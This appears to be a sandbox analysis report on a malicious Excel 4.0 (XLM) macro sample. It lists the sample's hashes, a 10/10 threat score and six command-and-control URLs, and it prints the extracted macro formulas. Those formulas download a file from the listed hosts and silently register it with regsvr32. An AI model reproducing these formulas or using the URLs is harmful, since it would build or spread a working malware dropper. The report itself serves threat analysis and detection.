646431b3713725c1c0f51a5e1f119968bfb946a39ad885508d7ec4baca085619

General

Target

646431b3713725c1c0f51a5e1f119968bfb946a39ad885508d7ec4baca085619
Size

40KB
Sample

241120-gdnqeashlm
MD5

b1d84591acebcac7593fb5cfc5f691fb
SHA1

6d4b94c757f3227b345afa2800b0561e23e661c7
SHA256

646431b3713725c1c0f51a5e1f119968bfb946a39ad885508d7ec4baca085619
SHA512

64a4f40e1b59c15985181e0041041725e7eea694fbb57121cb6dae2b48f225ac74954895462b2dca926d4663ce37e20359956948bf715b15b9a5677bdb363bc7
SSDEEP

768:2XomZDOevZCwtvyKfcrND59V+L9Rw4eWrXcTqZ0VPH+t:yomZDzylND59V4jwmXc2CVPu

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://radiomedenine.com/kidfngb/h3a3D5WRS/

https://mobapkapps.com/wp-includes/JcEqRwhEw0/

https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/

https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/

https://deine-bewerbung.com/wp-content/HHotdOzCFlW/

https://wewin21.com/wp-content/NITdYcwbO3C1uJd/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://radiomedenine.com/kidfngb/h3a3D5WRS/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mobapkapps.com/wp-includes/JcEqRwhEw0/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://deine-bewerbung.com/wp-content/HHotdOzCFlW/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wewin21.com/wp-content/NITdYcwbO3C1uJd/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://radiomedenine.com/kidfngb/h3a3D5WRS/

xlm40.dropper

https://mobapkapps.com/wp-includes/JcEqRwhEw0/

xlm40.dropper

https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/

xlm40.dropper

https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/

xlm40.dropper

https://deine-bewerbung.com/wp-content/HHotdOzCFlW/

xlm40.dropper

https://wewin21.com/wp-content/NITdYcwbO3C1uJd/